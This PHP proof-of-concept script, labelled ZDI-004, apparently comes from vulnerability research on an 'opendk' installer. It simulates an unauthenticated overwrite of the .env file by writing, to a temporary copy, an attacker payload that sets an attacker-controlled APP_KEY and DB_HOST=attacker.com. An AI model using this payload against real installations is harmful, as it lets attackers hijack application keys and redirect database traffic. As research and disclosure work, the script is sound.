<?php
/**
 * Direct test for ZDI-004 vulnerability
 * This simulates the vulnerable code path in InstallerController::environmentSaveClassic()
 */

// Simulate the vulnerable code
$envPath = '/home/c/ZERODAY/lab/target/opendk/.env';
$testEnvPath = '/tmp/test_env_file';

// Copy original for testing
copy($envPath, $testEnvPath);

echo "=== ZDI-004 Vulnerability Test ===\n\n";

// This is what the vulnerable code does - NO sudahInstal() check!
$attackerPayload = "APP_NAME=PWNED_BY_ZDI004\nAPP_KEY=base64:ATTACKER_CONTROLLED_KEY\nDB_HOST=attacker.com";

// The vulnerable line from InstallerController.php:267
// file_put_contents($envPath, $request->envConfig);
echo "Simulating: file_put_contents(\$envPath, \$request->envConfig)\n";
echo "Payload:\n$attackerPayload\n\n";

// Write to test file
$result = file_put_contents($testEnvPath, $attackerPayload);

if ($result !== false) {
    echo "SUCCESS: file_put_contents() wrote $result bytes\n\n";
    echo "=== Content of overwritten file ===\n";
    echo file_get_contents($testEnvPath);
    echo "\n\n=== VULNERABILITY CONFIRMED ===\n";
    echo "The code at InstallerController.php:267 writes user input directly to .env\n";
    echo "WITHOUT checking if the application is already installed (sudahInstal())\n";
} else {
    echo "FAILED to write file\n";
}

// Cleanup
unlink($testEnvPath);